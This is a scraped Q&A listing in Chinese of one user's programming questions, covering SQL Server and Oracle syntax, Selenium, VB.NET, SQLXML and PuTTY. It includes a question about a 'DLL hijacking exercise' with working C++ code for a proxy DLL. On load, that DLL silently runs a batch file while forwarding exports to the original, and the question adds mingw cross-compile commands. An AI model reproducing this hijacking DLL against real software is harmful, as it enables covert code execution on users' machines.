我正在尝试聚合SQLServer中的"STRING"字段.我想在Oracle中找到与LISTAGG相同的功能.
你知道如何做同样的功能或另一种方法吗?
例如,
Field A | Field B
1 | A
1 | B
2 | A
Run Code Online (Sandbox Code Playgroud)
我想这个查询的结果将是
1 | AB
2 | A
Run Code Online (Sandbox Code Playgroud) 我偶尔在Oracle和SQL Server之间切换,并经常忘记如何在SQL Server中执行一些最简单的任务.我想使用SQL手动将一行数据插入SQL Server数据库表.最简单的方法是什么?
例如,如果我有一个USERS表,其中包含ID(number),FIRST_NAME和LAST_NAME的列,我会使用什么查询在该表中插入一行?
如果我想一次插入多行,我还会使用什么语法?
我有一个PL/SQL存储过程,我想在其中运行多个更新,然后捕获任何异常并将它们返回到out参数中.为简单起见,在下面的代码块中,我只是将异常代码和错误消息输出到控制台.但是,下面的代码块不起作用(我遇到"发现/期待"语法错误)
CREATE OR REPLACE PROCEDURE DBP.TESTING_SP AS
DECLARE
v_code NUMBER;
v_errm VARCHAR2(64);
BEGIN
UPDATE PS_NE_PHONE_TBL SET NE_PHONE_TYPE = 'TEST' WHERE NEMPLID_TBL = 'N14924';
EXCEPTION
WHEN OTHERS THEN
v_code := SQLCODE;
v_errm := SUBSTR(SQLERRM, 1, 64);
DBMS_OUTPUT.PUT_LINE (v_code || ' ' || v_errm);
END TESTING_SP;
/
Run Code Online (Sandbox Code Playgroud)
我正在尝试做什么的正确语法是什么?
我在一个论坛上看过
"当使用Create或Replace语法时,不能使用Declare.声明仅适用于未命名的匿名块.因此,要么删除第1行并创建匿名块,要么删除第2行并创建命名过程."
但我不确定如何创建一个匿名块或创建一个命名过程来完成我想要做的事情(如果那确实是'解决方案').有人能伸出援助之手吗?
我正在进行DLL劫持练习,并编写了一个DLL,在Visual Studio中编译时可以正常工作.本质上,当加载DLL时,它会执行shell命令并将合法功能(在此示例中为CheckEvenOdd和PrintAMessage函数)传递给最初预期的DLL(在此示例中为GetEvenOdd.dll).工作代码如下;
#include "stdafx.h"
#include <windows.h>
#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")
extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
WinExec("c:\\Users\\Public\\execute.bat", 0);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Run Code Online (Sandbox Code Playgroud)
虽然它在Visual Studio(Windows)中编译时可以正常工作,但我想在Linux中生成DLL(用于Windows程序).在Linux中,我可以交叉编译CPP文件(injector.cpp),并使用这些命令创建DLL;
i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a
Run Code Online (Sandbox Code Playgroud)
这会成功创建DLL.但是,当我的"受害者应用程序"(在Windows上运行)加载DLL时,虽然"ExecuteCmd"函数被执行,但导出的函数(来自"pragma comment"行)不可用.也就是说,加载此DLL的程序试图找到导出的函数并且无法执行(即, …
我想使用String方法IndexOfAny来检查指定字符串中是否存在字符.
我在网上找到的使用IndexOfAny方法的例子在使用VB.NET时在字符数组中的每个字符后面都包含一个"c".但是,当我在VB.NET中查看简单字符数组的示例时,我在每个字符后都没有看到任何这样的"c"."c"是做什么的?它是可选的吗?
Dim s1 As String = "Darth is not my father."
' Find the first index of either "x" or "n"
Dim i1 As Integer = s1.IndexOfAny(New Char() {"x"c, "n"c})
Run Code Online (Sandbox Code Playgroud) TLDR;
我试图使用SQLXML Bulk Loader(4.0)来加载看起来像这样的XML;
<?xml version = "1.0" encoding = "UTF-8"?>
<CarSales>
<Client>
<ID >3</ID>
<ClientName>John Smith3</ClientName>
<Country name="Colombia"/>
</Client>
<Client>
<ID>7</ID>
<ClientName>Slow Sid</ClientName>
<Country name="Bolivia"/>
</Client>
<Client>
<ID>10</ID>
<ClientName>Missing Town</ClientName>
<Country name="Argentina"/>
</Client>
</CarSales>
Run Code Online (Sandbox Code Playgroud)
我希望在我正在使用的唯一表的列中捕获Country name属性("Client_XMLBulkLoad",它还包含客户端名称和ID).那可能吗?
更多细节:
这是我到目前为止对应的XSD("Country"注释掉了)
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:sql = "urn:schemas-microsoft-com:mapping-schema">
<xsd:element name = "CarSales" sql:is-constant = "1" >
<xsd:complexType>
<xsd:sequence>
<xsd:element name = "Client" sql:relation="Client_XMLBulkLoad"
maxOccurs = "unbounded">
<xsd:complexType>
<xsd:sequence>
<xsd:element name = "ID" type = "xsd:integer"
sql:field = "ID" />
<xsd:element name = "ClientName" …Run Code Online (Sandbox Code Playgroud) 我支持.NET 4.0(Visual Studio 2010)Web应用程序,该应用程序对驻留在我的工作Intranet上的SQL Server 2008数据库进行身份验证.应用程序使用Windows身份验证对数据库进行身份验证.如果我在我的主机上进行开发,这一切都很好和花花公子,但我正在开发一个不在工作领域的虚拟机.因此,当项目构建并运行时,它会抛出SqlClient.SqlException
"登录失败.登录来自不受信任的域,不能与Windows身份验证一起使用."
如果没有在我的主机上开发并放弃VM,我该怎么做才能避免这个错误并成功验证数据库,以便我可以构建/运行Web应用程序?我愿意在本地某处存储我的凭据,但最好不要在TFS源代码控制下的某个地方(比如web.config),因为我无法保留文件,因为项目中还有其他开发人员.
我已尝试将Visual Studio作为不同的用户(作为我的工作域中的用户)运行,但我收到"未知用户名或密码错误"错误.
请注意,将虚拟机添加到域(或通过VPN连接到它)不是选项.VM必须保持在域外.另请注意,虚拟机正在域上的计算机上运行,并且VM使用共享连接.因此它可以访问Intranet但它无法对SQL Server执行Windows身份验证.
intranet virtual-machine windows-authentication visual-studio-2010 sql-server-2008
我从Windows连接到8个不同的unix服务器,在putty中使用连接类型"SSH".我为每个服务器使用相同的用户名/密码.
目前,当我需要更改密码(每60天)时,我需要打开putty,选择我要连接的会话,输入我当前的密码(在打开的putty窗口中),输入"passwd",输入我当前的密码,然后输入我的新密码.
然后我退出并重复该过程7次.
如何将其转换为自动化流程,我只需要使用旧密码和新密码提供脚本/批处理流程?
这个问题涉及在 Java 中设置 Selenium webdriver 的 UnexpectedAlertBehaviour。你如何在 Python 的 ChromeDriver 中做同样的事情?
我尝试了以下方法;
options = ChromeOptions()
options.headless = True
options.set_capability("UNEXPECTED_ALERT_BEHAVIOUR", "ACCEPT")
options.set_capability("unexpectedAlertBehaviour", "accept")
options.set_capability("CapabilityType.UNEXPECTED_ALERT_BEHAVIOUR", "ACCEPT")
options.set_capability("UnexpectedAlertBehaviour", "ACCEPT")
webdriver.DesiredCapabilities.CHROME["unexpectedAlertBehaviour"] = "accept"
cls.driver = webdriver.Chrome(chrome_options=options)
Run Code Online (Sandbox Code Playgroud)
但是,我仍然随机遇到这个unexpectedalertpresent异常:
selenium.common.exceptions.UnexpectedAlertPresentException:警报文本:消息:意外警报打开:{警报文本:}
当我以非无头模式(头模式?)运行浏览器时,我看不到这样的警报,但尽管我努力设置这个难以捉摸的选项,但测试仍然随机失败并出现此异常。
我正在编写一个调用webservice方法的vb.net应用程序.所讨论的webservice方法接受约20个参数,例如(字符串x,字符串y,字符串z ....整数a,整数b,整数c).
可能任何一个整数(ab或c)都没有故意设置为一个值.但是,因为Integer是一个值类型(谢谢Stack Overflow)我不能将它设置为Nothing,因此当用户没有为这些整数选择特定值时,我将其默认为-1.但是,当用户没有初始化那些整数时,webservice方法希望我传递Null/Nothing(不是0或-1,它想要Nothing/Null).
我如何给web服务提供它想要的多个条件,对web服务的调用略有不同(例如,如果整数a = -1,则用(x,y,z,Nothing,b,c)调用webservice等... )?
sql ×2
sql-server ×2
vb.net ×2
aggregate ×1
batch-file ×1
c# ×1
c++ ×1
exception ×1
insert ×1
intranet ×1
linux ×1
log4net ×1
mingw ×1
mingw32 ×1
nothing ×1
null ×1
oracle ×1
plsql ×1
putty ×1
python ×1
scripting ×1
selenium ×1
sqlxml ×1
ssh ×1
string ×1
unix ×1
vbscript ×1
xml ×1
xml-parsing ×1